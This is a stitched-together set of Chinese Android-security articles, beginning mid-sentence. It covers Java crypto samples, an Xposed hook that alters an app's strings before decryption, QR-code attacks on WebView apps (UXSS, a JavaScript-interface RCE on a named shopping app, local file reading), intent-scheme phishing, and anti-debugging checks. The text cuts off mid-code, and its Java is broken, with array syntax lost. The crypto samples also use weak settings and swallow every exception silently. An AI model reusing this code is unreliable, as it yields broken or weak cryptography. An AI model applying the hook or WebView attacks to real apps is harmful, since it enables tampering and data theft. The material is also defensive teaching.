private static final int KEY_GEN_ITERATION_COUNT = 1024; ..... keySpec = new PBEKeySpec(password, salt, KEY_GEN_ITERATION_COUNT, KEY_LENGTH_BITS);
6.强制增加密码强度
加密使用native方法,so也不一定安全
1.hook&注入
http://drops.wooyun.org/tips/2986
文章中使用 smali 注入广播接收器后动态修改加密前的字符串的方法非常有效,使用 xposed 实现过程要更为简洁
#!java public class Main3 implements IXposedHookLoadPackage { private static String tag = "ReceiverControlXposed"; @Override public void handleLoadPackage(LoadPackageParam lpparam) throws Throwable { if(!lpparam.packageName.equals("org.wooyun.mybroadcast")) return; else Log.i(tag,lpparam.packageName); findAndHookMethod("android.app.Application", lpparam.classLoader, "onCreate", new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { Context context = (Context) param.thisObject; IntentFilter filter = new IntentFilter(myCast.myAction); filter.addAction(myCast.myCmd); context.registerReceiver(new myCast(), filter); } @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { super.afterHookedMethod(param); } }); // TODO Auto-generated method stub findAndHookMethod("org.wooyun.mybroadcast.StringActivity", lpparam.classLoader, "decode" , String.class , new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { Log.i(tag,"before param : " + param.args
); param.args
= myCast.alter((String) param.args
); Log.i(tag,"after param : " + param.args
); } @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { } }); } }
2.无防护的 so,ida分析/还原/调用 暂缺可公开案例
伪随机数生成器(PRNG)

http://drops.wooyun.org/papers/5164

非对称加密:RSA加解密的example

#!java package org.wooyun.digest; import java.security.InvalidKeyException; import java.security.KeyFactory; import java.security.NoSuchAlgorithmException; import java.security.PrivateKey; import java.security.PublicKey; import java.security.interfaces.RSAPublicKey; import java.security.spec.InvalidKeySpecException; import java.security.spec.PKCS8EncodedKeySpec; import java.security.spec.X509EncodedKeySpec; import javax.crypto.BadPaddingException; import javax.crypto.Cipher; import javax.crypto.IllegalBlockSizeException; import javax.crypto.NoSuchPaddingException; public final class RsaCryptoAsymmetricKey { // *** POINT 1 *** 明确指定加密模式和填充 // *** POINT 2 *** 使用健壮的加密方法 (specifically, technologies that meet the relevant criteria), in cluding algorithms, block cipher modes, and padding modes.. // Parameters passed to getInstance method of the Cipher class: Encryption algorithm, block encryption mode, padding rule // In this sample, we choose the following parameter values: encryption algorithm=RSA, block encryption mode=NONE , padding rule=OAEPPADDING. private static final String TRANSFORMATION = "RSA/NONE/OAEPPADDING"; // 指定加密算法 private static final String KEY_ALGORITHM = "RSA"; // *** POINT 3 *** 使用足够长度的key以保证加密强度. //检测key的长度 private static final int MIN_KEY_LENGTH = 2000; RsaCryptoAsymmetricKey() { } public final byte
encrypt(final byte
plain, final byte
keyData) { byte
encrypted = null; try { // *** POINT 1 *** Explicitly specify the encryption mode and the padding. // *** POINT 2 *** Use strong encryption methods (specifically, technologies that meet the relevant criteria), including algorithms, block cipher modes, and padding modes.. Cipher cipher = Cipher.getInstance(TRANSFORMATION); PublicKey publicKey = generatePubKey(keyData); if (publicKey != null) { cipher.init(Cipher.ENCRYPT_MODE, publicKey); encrypted = cipher.doFinal(plain); } } catch (NoSuchPaddingException e) { } catch (InvalidKeyException e) { } catch (IllegalBlockSizeException e) { } catch (BadPaddingException e) { } catch (NoSuchAlgorithmException e) { // TODO Auto-generated catch block e.printStackTrace(); } finally { } return encrypted; } public final byte
decrypt(final byte
encrypted, final byte
keyData) { // In general, decryption procedures should be implemented on the server side; //通常说解密过程应该在服务端实现. //however, in this sample code we have implemented decryption processing within the application to ensure confirmation of proper execution. //但是此实例代码同时实现了解密好让整个加解密正常运行 // When using this sample code in real-world applications, be careful not to retain any private keys within the application. //如果真要用此代码小心不要将私钥存储在客户端中哟. byte
plain = null; try { // *** POINT 1 *** Explicitly specify the encryption mode and the padding. // *** POINT 2 *** Use strong encryption methods (specifically, technologies that meet the relevant criteria), including algorithms, block cipher modes, and padding modes.. Cipher cipher = Cipher.getInstance(TRANSFORMATION); PrivateKey privateKey = generatePriKey(keyData); cipher.init(Cipher.DECRYPT_MODE, privateKey); plain = cipher.doFinal(encrypted); } catch (NoSuchAlgorithmException e) { } catch (NoSuchPaddingException e) { } catch (InvalidKeyException e) { } catch (IllegalBlockSizeException e) { } catch (BadPaddingException e) { } finally { } return plain; } private static final PublicKey generatePubKey(final byte
keyData) { PublicKey publicKey = null; KeyFactory keyFactory = null; try { keyFactory = KeyFactory.getInstance(KEY_ALGORITHM); publicKey = keyFactory.generatePublic(new X509EncodedKeySpec( keyData)); } catch (IllegalArgumentException e) { } catch (NoSuchAlgorithmException e) { } catch (InvalidKeySpecException e) { } finally { } // *** POINT 3 *** .使用足够长度的key以保证加密强度. // 检测key长度 if (publicKey instanceof RSAPublicKey) { int len = ((RSAPublicKey) publicKey).getModulus().bitLength(); if (len < MIN_KEY_LENGTH) { publicKey = null; } } return publicKey; } private static final PrivateKey generatePriKey(final byte
keyData) { PrivateKey privateKey = null; KeyFactory keyFactory = null; try { keyFactory = KeyFactory.getInstance(KEY_ALGORITHM); privateKey = keyFactory.generatePrivate(new PKCS8EncodedKeySpec( keyData)); } catch (IllegalArgumentException e) { } catch (NoSuchAlgorithmException e) { } catch (InvalidKeySpecException e) { } finally { } return privateKey; } }

对称加密:AES(PBEKey)加解密的example

#!java package org.wooyun.crypto; import java.security.InvalidAlgorithmParameterException; import java.security.InvalidKeyException; import java.security.NoSuchAlgorithmException; import java.security.SecureRandom; import java.security.spec.InvalidKeySpecException; import java.util.Arrays; import javax.crypto.BadPaddingException; import javax.crypto.Cipher; import javax.crypto.IllegalBlockSizeException; import javax.crypto.NoSuchPaddingException; import javax.crypto.SecretKey; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.PBEKeySpec; public final class AesCryptoPBEKey { // *** POINT 1 *** 明确指定加密模式和填充 // *** POINT 2 *** 使用健壮的加密方法,包括算法/块加密模式/填充模式 //创建Cipher实例传入的参数,算法AES,块加密CBC,填充PKCS7Padding. private static final String TRANSFORMATION = "AES/CBC/PKCS7Padding"; //生成key时创建SecretKeyFactory实例传入的参数 private static final String KEY_GENERATOR_MODE = "PBEWITHSHAAND128BITAES-CBC-BC"; // *** POINT 3 *** 用password生成key的时候记得加盐 // Salt长度,单位 bytes public static final int SALT_LENGTH_BYTES = 20; // *** POINT 4 *** 用password生成key的时候, 指定合适的hash迭代次数 // 通过PBE生成key时设置hash迭代次数 private static final int KEY_GEN_ITERATION_COUNT = 1024; // *** POINT 5 *** 使用足够长度的key以保证加密强度. // Key 长度,单位bits private static final int KEY_LENGTH_BITS = 128; private byte
mIV = null; private byte
mSalt = null; public byte
getIV() { return mIV; } public byte
getSalt() { return mSalt; } AesCryptoPBEKey(final byte
iv, final byte
salt) { mIV = iv; mSalt = salt; } AesCryptoPBEKey() { mIV = null; initSalt(); } private void initSalt() { mSalt = new byte
; SecureRandom sr = new SecureRandom(); sr.nextBytes(mSalt); } public final byte
encrypt(final byte
plain, final char
password) { byte
encrypted = null; try { // *** POINT 1 *** 明确指定加密模式和填充 // *** POINT 2 *** 使用健壮的加密方法,包括算法/块加密模式/填充模式 Cipher cipher = Cipher.getInstance(TRANSFORMATION); // *** POINT 3 *** 用password生成key的时候记得加盐 SecretKey secretKey = generateKey(password, mSalt); cipher.init(Cipher.ENCRYPT_MODE, secretKey); mIV = cipher.getIV(); encrypted = cipher.doFinal(plain); } catch (NoSuchAlgorithmException e) { } catch (NoSuchPaddingException e) { } catch (InvalidKeyException e) { } catch (IllegalBlockSizeException e) { } catch (BadPaddingException e) { } finally { } return encrypted; } public final byte
decrypt(final byte
encrypted, final char
password) { byte
plain = null; try { // *** POINT 1 *** 明确指定加密模式和填充 // *** POINT 2 *** 使用健壮的加密方法,包括算法/块加密模式/填充模式 Cipher cipher = Cipher.getInstance(TRANSFORMATION); // *** POINT 3 *** 用password生成key的时候记得加盐 SecretKey secretKey = generateKey(password, mSalt); IvParameterSpec ivParameterSpec = new IvParameterSpec(mIV); cipher.init(Cipher.DECRYPT_MODE, secretKey, ivParameterSpec); plain = cipher.doFinal(encrypted); } catch (NoSuchAlgorithmException e) { } catch (NoSuchPaddingException e) { } catch (InvalidKeyException e) { } catch (InvalidAlgorithmParameterException e) { } catch (IllegalBlockSizeException e) { } catch (BadPaddingException e) { } finally { } return plain; } private static final SecretKey generateKey(final char
password, final byte
salt) { SecretKey secretKey = null; PBEKeySpec keySpec = null; try { // *** POINT 2 *** 使用健壮的加密方法,包括算法/块加密模式/填充模式 // 创建一个实例生成key //In this example, we use a KeyFactory that uses SHA1 to generate AES-CBC 128-bit keys. SecretKeyFactory secretKeyFactory = SecretKeyFactory .getInstance(KEY_GENERATOR_MODE); // *** POINT 3 *** 用password生成key的时候记得加盐 // *** POINT 4 *** 用password生成key的时候, 指定合适的hash迭代次数 // *** POINT 5 ***使用足够长度的key以保证加密强度. keySpec = new PBEKeySpec(password, salt, KEY_GEN_ITERATION_COUNT, KEY_LENGTH_BITS); // 清除password Arrays.fill(password, '?'); //生成 key secretKey = secretKeyFactory.generateSecret(keySpec); } catch (NoSuchAlgorithmException e) { } catch (InvalidKeySpecException e) { } finally { keySpec.clearPassword(); } return secretKey; } }

签名:AES(PBEKey) HMAC example

#!java package org.wooyun.crypto; import java.security.InvalidKeyException; import java.security.NoSuchAlgorithmException; import java.security.SecureRandom; import java.security.spec.InvalidKeySpecException; import java.util.Arrays; import javax.crypto.Mac; import javax.crypto.SecretKey; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.PBEKeySpec; // PBE:password based encryption public final class HmacPBEKey { // *** POINT 1 *** 明确指定加密模式和填充 // *** POINT 2 *** 使用健壮的加密方法,包括算法/块加密模式/填充模式 //创建Mac类实例传参:PBEWITHHMACSHA1 private static final String TRANSFORMATION = "PBEWITHHMACSHA1"; //生成key时创建SecretKeyFactory实例传入的参数 private static final String KEY_GENERATOR_MODE = "PBEWITHHMACSHA1"; // *** POINT 3 *** 用password生成key的时候记得加盐 // Salt长度,单位 bytes public static final int SALT_LENGTH_BYTES = 20; // *** POINT 4 *** 用password生成key的时候, 指定合适的hash迭代次数 // 通过PBE生成key时设置hash迭代次数 private static final int KEY_GEN_ITERATION_COUNT = 1024; // *** POINT 5 *** 使用足够长度的key以保证MAC强度. // strength. // Key长度,单位bits private static final int KEY_LENGTH_BITS = 160; private byte
mSalt = null; public byte
getSalt() { return mSalt; } HmacPBEKey() { initSalt(); } private void initSalt() { // TODO Auto-generated method stub mSalt = new byte
; SecureRandom sr = new SecureRandom(); sr.nextBytes(mSalt); } HmacPBEKey(final byte
salt) { mSalt = salt; } public final byte
sign(final byte
plain, final char
password) { return calculate(plain, password); } private final byte
calculate(final byte
plain, final char
password) { byte
hmac = null; try { // *** POINT 1 *** 明确指定加密模式和填充 // *** POINT 2 *** 使用健壮的加密方法,包括算法/块加密模式/填充模式 Mac mac = Mac.getInstance(TRANSFORMATION); // *** POINT 3 *** 用password生成key的时候记得加盐 SecretKey secretKey = generateKey(password, mSalt); mac.init(secretKey); hmac = mac.doFinal(plain); } catch (NoSuchAlgorithmException e) { } catch (InvalidKeyException e) { } finally { } return hmac; } public final boolean verify(final byte
hmac, final byte
plain, final char
password) { byte
hmacForPlain = calculate(plain, password); if (Arrays.equals(hmac, hmacForPlain)) { return true; } return false; } private static final SecretKey generateKey(final char
password, final byte
salt) { SecretKey secretKey = null; PBEKeySpec keySpec = null; try { // *** POINT 2 *** 使用健壮的加密方法,包括算法/块加密模式/填充模式 //创建类实例生成key // In this example, we use a KeyFactory that uses SHA1 to generate AES-CBC 128-bit keys.(PBEWITHHMACSHA1) SecretKeyFactory secretKeyFactory = SecretKeyFactory .getInstance(KEY_GENERATOR_MODE); // *** POINT 3 *** 用password生成key的时候记得加盐 // *** POINT 4 *** 用password生成key的时候, 指定合适的hash迭代次数 // *** POINT 5 *** 使用足够长度的key以保证MAC强度. keySpec = new PBEKeySpec(password, salt, KEY_GEN_ITERATION_COUNT, KEY_LENGTH_BITS); // 清空 password Arrays.fill(password, '?'); // 生成 key secretKey = secretKeyFactory.generateSecret(keySpec); } catch (NoSuchAlgorithmException e) { } catch (InvalidKeySpecException e) { } finally { keySpec.clearPassword(); } return secretKey; } }

兼容性问题
android就是那么让人操心,应用的易用性肯定要放在安全性前面.服务端的环境可以控制,但是客户端的环境就没有办法了.无法保证每个用户都环境都是一样的.
java.security.NoSuchAlgorithmException....
所以必须得选择一个绝大多数设备都能兼容的算法.下面是 android2.3.4支持的算法. 下面的代码可以查看当前 provider 支持的算法.
#! Provider
providers = Security.getProviders(); for (Provider provider : providers) { Log.i("CRYPTO","provider: "+provider.getName()); Set services = provider.getServices(); for (Provider.Service service : services) { Log.i("CRYPTO"," algorithm: "+service.getAlgorithm()); } }
android 2.3.4
provider: AndroidOpenSSL algorithm: SHA-384 algorithm: SHA-1 algorithm: SSLv3 algorithm: MD5 algorithm: SSL algorithm: SHA-256 algorithm: TLS algorithm: SHA-512 algorithm: TLSv1 algorithm: Default provider: DRLCertFactory algorithm: X509 provider: BC algorithm: PKCS12 algorithm: DESEDE algorithm: DH algorithm: RC4 algorithm: PBEWITHSHAAND128BITAES-CBC-BC algorithm: DESEDE algorithm: Collection algorithm: SHA-1 algorithm: PBEWITHSHA256AND256BITAES-CBC-BC algorithm: PBEWITHSHAAND192BITAES-CBC-BC algorithm: DESEDEWRAP algorithm: PBEWITHMD5AND128BITAES-CBC-OPENSSL algorithm: PBEWITHMD5AND256BITAES-CBC-OPENSSL algorithm: AES algorithm: HMACSHA256 algorithm: OAEP algorithm: HMACSHA256 algorithm: HMACSHA384 algorithm: DSA algorithm: PBEWITHMD5AND192BITAES-CBC-OPENSSL algorithm: DES algorithm: PBEWITHMD5ANDDES algorithm: SHA1withDSA algorithm: PBEWITHMD5ANDDES algorithm: BouncyCastle algorithm: PKIX algorithm: PKCS12PBE algorithm: DSA algorithm: RSA algorithm: PBEWITHSHA1ANDDES algorithm: DESEDE algorithm: PBEWITHSHAAND128BITRC2-CBC algorithm: PBEWITHSHAAND128BITRC2-CBC algorithm: PBEWITHSHAAND256BITAES-CBC-BC algorithm: PBEWITHSHAAND128BITRC4 algorithm: DH algorithm: PBEWITHSHA256AND192BITAES-CBC-BC algorithm: PBEWITHSHAAND128BITAES-CBC-BC algorithm: PBEWITHSHAAND40BITRC2-CBC algorithm: HMACSHA384 algorithm: AESWRAP algorithm: PBEWITHSHAAND192BITAES-CBC-BC algorithm: SHA256WithRSAEncryption algorithm: DES algorithm: HMACSHA512 algorithm: HMACSHA1 algorithm: DH algorithm: PBEWITHSHA256AND128BITAES-CBC-BC algorithm: PKIX algorithm: PBEWITHMD5ANDRC2 algorithm: SHA-256 algorithm: PBEWITHSHA1ANDDES algorithm: HMACSHA512 algorithm: SHA384WithRSAEncryption algorithm: DES algorithm: BLOWFISH algorithm: PBEWITHMD5AND128BITAES-CBC-OPENSSL algorithm: PBEWITHSHAAND3-KEYTRIPLEDES-CBC algorithm: PBEWITHSHAAND256BITAES-CBC-BC algorithm: DSA algorithm: PBEWITHSHAAND40BITRC2-CBC algorithm: BLOWFISH algorithm: PBEWITHSHAAND40BITRC4 algorithm: PBKDF2WithHmacSHA1 algorithm: PBEWITHSHAAND40BITRC4 algorithm: HMACSHA1 algorithm: AES algorithm: PBEWITHSHA256AND192BITAES-CBC-BC algorithm: PBEWITHSHAAND2-KEYTRIPLEDES-CBC algorithm: PBEWITHHMACSHA algorithm: DH algorithm: BKS algorithm: NONEWITHDSA algorithm: DES algorithm: PBEWITHMD5ANDRC2 algorithm: DSA algorithm: PBEWITHSHAANDTWOFISH-CBC algorithm: SHA512WithRSAEncryption algorithm: HMACMD5 algorithm: PBEWITHSHAAND3-KEYTRIPLEDES-CBC algorithm: PBEWITHSHA1ANDRC2 algorithm: ARC4 algorithm: PBEWITHHMACSHA1 algorithm: AES algorithm: PBEWITHHMACSHA1 algorithm: MD5 algorithm: RSA algorithm: PBEWITHSHAANDTWOFISH-CBC algorithm: PBEWITHSHA1ANDRC2 algorithm: PBEWITHSHAAND2-KEYTRIPLEDES-CBC algorithm: PBEWITHSHAAND128BITRC4 algorithm: SHA-384 algorithm: RSA algorithm: DESEDE algorithm: SHA-512 algorithm: X.509 algorithm: PBEWITHMD5AND192BITAES-CBC-OPENSSL algorithm: MD5WithRSAEncryption algorithm: PBEWITHMD5AND256BITAES-CBC-OPENSSL algorithm: PBEWITHSHA256AND256BITAES-CBC-BC algorithm: BLOWFISH algorithm: DH algorithm: SHA1WithRSAEncryption algorithm: HMACMD5 algorithm: PBEWITHSHA256AND128BITAES-CBC-BC provider: Crypto algorithm: SHA1withDSA algorithm: SHA-1 algorithm: DSA algorithm: SHA1PRNG provider: HarmonyJSSE algorithm: X509 algorithm: SSLv3 algorithm: TLS algorithm: TLSv1 algorithm: X509 algorithm: SSL
第三方加密方案,提供 provider
https://github.com/facebook/conceal

参考

http://www.jssec.org/dl/android_securecoding_en.pdf

http://stackoverflow.com/questions/7560974/what-crypto-algorithms-does-android-support

前言

现在Android App几乎都有二维码扫描功能,如果没有考虑到二维码可能存在的安全问题,将会导致扫描二维码就会受到漏洞攻击,严重的可能导致手机被控制,信息泄漏等风险。

拒绝服务

低版本的zxing这个二维码库在处理畸形二维码时存在数组越界,导致拒绝服务。扫描下面的二维码,可能导致主程序崩溃:
p1
通过程序的崩溃日志可以看出是个数组越界:
11-23 10:39:02.535: E/AndroidRuntime(1888): FATAL EXCEPTION: Thread-14396 11-23 10:39:02.535: E/AndroidRuntime(1888): Process: com.xxx, PID: 1888 11-23 10:39:02.535: E/AndroidRuntime(1888): java.lang.ArrayIndexOutOfBoundsException: length=9; index=9 11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.common.BitSource.readBits(Unknown Source) 11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.qrcode.decoder.DecodedBitStreamParser.decodeAlphanumericSegment(Unknown Source) 11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.qrcode.decoder.DecodedBitStreamParser.decode(Unknown Source) 11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.qrcode.decoder.Decoder.decode(Unknown Source) 11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.qrcode.QRCodeReader.decode(Unknown Source) 11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.MultiFormatReader.decodeInternal(Unknown Source) 11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.MultiFormatReader.decodeWithState(Unknown Source)

本地文件读取

之前Wooyun上爆了一个利用恶意二维码攻击快拍的漏洞,识别出来的二维码默认以html形式展示(Android+Iphone),可以执行html和js。将下面的js在cli.im网站上生成二维码:
#!js

p2
用快拍扫描之后,就能读取本地文件内容:
p3

UXSS

去年,Android平台上的Webview UXSS漏洞被吵的沸沸扬扬,由于低版本的Android系统自带的Webview组件使用Webkit作为内核,导致Webkit的历史漏洞就存在于Webview里面,其中就包括危害比较大的UXSS漏洞。 Webview组件几乎存在于所有Android App中,用来渲染网页。如果扫描二维码得到的结果是个网址,大部分App会直接用Webview来打开,由于Webview存在UXSS漏洞,很容易导致资金被窃、帐号被盗或者隐私泄露。漏洞介绍可参考TSRC博文:
http://security.tencent.com/index.php/blog/msg/70

p4

远程命令执行

大部分Android App扫描二维码之后,如果识别到的二维码内容是个网址时,会直接调用Webview来进行展示。如果Webview导出了js接口,并且targetSDK是在17以下,就会受到远程命令执行漏洞攻击风险。 苏宁易购Android版扫描二维码会用Webview打开网页,由于苏宁易购导出多个js接口,因此扫描二维码即会受到远程命令执行漏洞攻击(最新版本已修复)。 com.suning.mobile.ebuy.host.webview.WebViewActivity导出多个js接口:
#!java this.b(this.a); this.s = this.findViewById(2131494713); this.d = this.findViewById(2131494100); this.d.a(((BaseFragmentActivity)this)); this.l = new SNNativeClientJsApi(this); this.d.addJavascriptInterface(this.l, "client"); this.d.addJavascriptInterface(this.l, "SNNativeClient"); this.d.addJavascriptInterface(new YifubaoJSBridge(this), "YifubaoJSBridge");
由于targetSDKversion为14,因此所有Android系统版本都受影响:

苏宁易购Android版首页有个扫描二维码的功能:
p5
扫描二维码时,如果二维码是个网页链接,就会调用上面的Webview组件打开恶意网页:
p6
恶意二维码如下:
p7

总结

二维码可能攻击的点还不止上面列的那些,发散下思维,还有zip目录遍历导致的远程代码执行漏洞,还有sql注入漏洞,说不定还有缓冲区溢出漏洞。思想有多远,攻击面就有多宽!Have Fun!

网页打开APP简介

Android有一个特性,可以通过点击网页内的某个链接打开APP,或者在其他APP中通过点击某个链接打开另外一个APP(AppLink),一些用户量比较大的APP,已经通过发布其AppLink SDK,开发者需要申请相应的资格,配置相关内容才能使用。这些都是通过用户自定义的URI scheme实现的,不过背后还是Android的Intent机制。Google的官方文档《Android Intents with Chrome》一文,介绍了在Android Chrome浏览器中网页打开APP的两种方法,一种是用户自定义的URI scheme(Custom URI scheme),另一种是“intent:”语法(Intent-based URI)。 第一种用户自定义的URI scheme形式如下:
p1
第二种的Intent-based URI的语法形式如下:
p2
因为第二种形式大体是第一种形式的特例,所以很多文章又将第二种形式叫Intent Scheme URL,但是在Google的官方文档并没有这样的说法。 注意:使用Custom URI scheme给APP传递数据,只能使用相关参数来传递数据,不能想当然的使用scheme://host#intent;参数;end的形式来构造传给APP的intent数据。详见3.1节的说明。 此外,还必须在APP的Androidmanifest文件中配置相关的选项才能产生网页打开APP的效果,具体在下面讲。

Custom Scheme URI打开APP


1.1 基本用法
需求:使用网页打开一个APP,并通过URL的参数给APP传递一些数据。 如自定义的Scheme为:
p3
注意:uri要用UTF-8编码和URI编码。 网页端的写法如下:
p4
APP端接收来自网页信息的Activity,要在Androidmanifest.xml文件中Activity的intent-filter中声明相应action、category和data的scheme等。 如在MainActivity中接收从网页来的信息,其在AndroidManifest.xml中的内容如下:
p5
在MainActivity中接收intent并且获取相应参数的代码:
p6
另外还有以下几个API来获取相关信息:
#!bash getIntent().getScheme(); //获得Scheme名称 getIntent().getDataString(); //获得Uri全部路径 getIntent().getHost(); //获得host

1.2 风险示例
常见的用法是在APP获取到来自网页的数据后,重新生成一个intent,然后发送给别的组件使用这些数据。比如使用Webview相关的Activity来加载一个来自网页的url,如果此url来自url scheme中的参数,如:jaq://jaq.alibaba.com?load_url=http://www.taobao.com。 如果在APP中,没有检查获取到的load_url的值,攻击者可以构造钓鱼网站,诱导用户点击加载,就可以盗取用户信息。 接2.1的示例,新建一个WebviewActivity组件,从intent里面获取load_url,然后使用Webview加载url:
p7
修改MainActivity组件,从网页端的URL中获取load_url参数的值,生成新的intent,并传给WebviewActivity:
p8
网页端:
p9
钓鱼页面:
p10
点击“打开钓鱼网站”,进入APP,并且APP加载了钓鱼网站:
p11

本例建议:
在Webview加载load_url时,结合APP的自身业务采用白名单机制过滤网页端传过来的数据,黑名单容易被绕过。
1.3 阿里聚安全对开发者建议

1 APP中任何接收外部输入数据的地方都是潜在的攻击点,过滤检查来自网页的参数。 不要通过网页传输敏感信息,有的网站为了引导已经登录的用户到APP上使用,会使用脚本动态的生成URL Scheme的参数,其中包括了用户名、密码或者登录态token等敏感信息,让用户打开APP直接就登录了。恶意应用也可以注册相同的URL Sechme来截取这些敏感信息。Android系统会让用户选择使用哪个应用打开链接,但是如果用户不注意,就会使用恶意应用打开,导致敏感信息泄露或者其他风险。

Intent-based URI打开APP


2.1基本用法
Intent-based URI语法:
p12

注意:第二个Intent的第一个字母一定要大写,不然不会成功调用APP。

如何正确快速的构造网页端的intent?
可以先建个Android demo app,按正常的方法构造自己想打开某个组件的Intent对象,然后使用Intent的toUri()方法,会得到Intent对象的Uri字符串表示,并且已经用UTF-8和Uri编码好,直接复制放到网页端即可,切记前面要加上“intent:”。 如:
p13
结果:
p14
S.load_url是跟的是intent对象的putExtra()方法中的数据。其他类型的数据可以一个个试。 如果在demo中的Intent对象不能传递给目标APP的Activity或其他组件,则其Uri形式放在网页端也不可能打开APP的,这样写个demo容易排查错误。 APP端中的Androidmanifest.xml的声明写法同2.1节中的APP端写法完全一样。对于接收到的uri形式的intent,一般使用Intent的parseUri()方法来解析产生新的intent对象,如果处理不当会产生Intent Scheme URL攻击。 为何不能用scheme://host#intent;参数;end的形式来构造传给APP的intent数据? 这种形式的intent不会直接被Android正确解析为intent,整个scheme字符串数据可以使用Intent的getDataSting()方法获取到。 如对于:
p15
在APP中获取数据:
p16
结果是:
p17
由上图可知Android系统自动为Custom URI scheme添加了默认的intent。 要想正确的解析,还需使用Intent的parseUri()方法对getDataString()获取到的数据进行解析,如:
p18

2.2 风险示例
关于Intent-based URI的风险我觉得
http://blog.csdn.net/l173864930/article/details/36951805

http://drops.wooyun.org/papers/2893
这两篇文章写的非常好,基本把该说的都都说了,我就不多说了,大家看这两篇文章吧。
2.3 阿里聚安全对开发者建议
上面两篇文章中都给出了安全使用Intent Scheme URL的方法:
p19
除了以上的做法,还是不要信任来自网页端的任何intent,为了安全起见,使用网页传过来的intent时,还是要进行过滤和检查。

参考


https://developer.chrome.com/multidevice/android/intents

http://drops.wooyun.org/papers/2893

http://www.jssec.org/dl/android_securecoding_en.pdf

http://www.jcodecraeer.com/a/anzhuokaifa/androidkaifa/2015/0718/3200.html

http://blog.csdn.net/l173864930/article/details/36951805

http://blog.csdn.net/l173864930/article/details/36951805

简介

Android apk很容易通过逆向工程进行反编译,从而是其代码完全暴露给攻击者,使apk面临破解,软件逻辑修改,插入恶意代码,替换广告商ID等风险。我们可以采用以下方法对apk进行保护.

混淆保护

混淆是一种用来隐藏程序意图的技术,可以增加代码阅读的难度,使攻击者难以全面掌控app内部实现逻辑,从而增加逆向工程和破解的难度,防止知识产权被窃取。 代码混淆技术主要做了如下的工作:
1 通过对代码类名,函数名做替换来实现代码混淆保护 简单的逻辑分支混淆
已经有很多第三方的软件可以用来混淆我们的Android应用,常见的有:
- Proguard DashO Dexguard DexProtector ApkProtect Shield4j Stringer Allitori
这些混淆器在代码中起作用的层次是不一样的。Android编译的大致流程如下:
#!bash Java Code(.java) -> Java Bytecode(.class) -> Dalvik Bytecode(classes.dex)
有的混淆器是在编译之前直接作用于java源代码,有的作用于java字节码,有的作用于Dalvik字节码。但基本都是针对java层作混淆。 相对于Dalvik虚拟机层次的混淆而言,原生语言(C/C++)的代码混淆选择并不多,Obfuscator-LLVM工程是一个值得关注的例外。 代码混淆的优点是使代码可阅读性变差,要全面掌控代码逻辑难度变大;可以压缩代码,使得代码大小变小。但也存在如下缺点:
1 无法真正保护代码不被反编译; 在应对动态调试逆向分析上无效; 通过验证本地签名的机制很容易被绕过。
也就是说,代码混淆并不能有效的保护应用自身。
https://www.nowsecure.com/resources/secure-mobile-development/coding-practices/code-complexity-and-obfuscation/

资源文件保护

如果资源文件没有保护,则会使应用存在两方面的安全风险:
1 通过资源定位代码,方便应用破解 反编译apk获得源码,通过资源文件或者关键字符串的ID定位到关键代码位置,为逆向破解应用程序提供方便. 替换资源文件,盗版应用 "if you can see something, you can copy it"。Android应用程序中的资源,比如图片和音频文件,容易被复制和窃取。
可以考虑将其作为一个二进制形式进行加密存储,然后加载,解密成字节流并把它传递到BitmapFactory。当然,这会增加代码的复杂度,并且造成轻微的性能影响。 不过资源文件是全局可读的,即使不打包在apk中,而是在首次运行时下载或者需要使用时下载,不在设备中保存,但是通过网络数据包嗅探还是很容易获取到资源url地址。

反调试技术


5.1 限制调试器连接
应用程序可以通过使用特定的系统API来防止调试器附加到该进程。通过阻止调试器连接,攻击者干扰底层运行时的能力是有限的。攻击者为了从底层攻击应用程序必须首先绕过调试限制。这进一步增加了攻击复杂性。Android应用程序应该在manifest中设置Android:debuggable=“false”,这样就不会很容易在运行时被攻击者或者恶意软件操纵。
5.2 Trace检查
应用程序可以检测自己是否正在被调试器或其他调试工具跟踪。如果被追踪,应用程序可以执行任意数量的可能攻击响应行为,如丢弃加密密钥来保护用户数据,通知服务器管理员,或者其它类型自我保护的响应。这可以由检查进程状态标志或者使用其它技术,如比较ptrace附加的返回值,检查父进程,黑名单调试器进程列表或通过计算运行时间的差异来反调试。
d_name); pf = fopen(buff, "r"); if (pf) { fgets(buff, sizeof(buff), pf); fclose(pf); sscanf(buff, "%*s %s", szName); pid = atoi(pde->d_name); if (strcmp(szName, as_name) == 0) { closedir(pdir); return pid; } } } closedir(pdir); return 0; }

c.读取进程状态(/proc/pid/status)
State属性值T 表示调试状态,TracerPid 属性值正在调试此进程的pid,在非调试情况下State为S或R, TracerPid等于0
p2
由此,我们便可通过检查status文件中TracerPid的值来判断是否有正在被调试。示例代码如下:
#!cpp #include #include int main(int argc, char *argv
) { int i; scanf("%d", &i); char buf1
; FILE* fin; fin = fopen("/proc/self/status", "r"); int tpid; const char *needle = "TracerPid:"; size_t nl = strlen(needle); while(fgets(buf1, 512, fin)) { if(!strncmp(buf1, needle, nl)) { sscanf(buf1, "TracerPid: %d", &tpid); if(tpid != 0) { printf("Debuggerdetected"); return 1; } } } fclose(fin); printf("All good"); return 0; }
实际运行结果如下图所示:
p3

值得注意的是,/proc目录下包含了进程的大量信息。我们在这里是读取status文件,此外,也可通过/proc/self/stat文件来获得进程相关信息,包括运行状态。


d.读取/proc/%d/wchan
下图中第一个红色框值为非调试状态值,第二个红色框值为调试状态:
p4

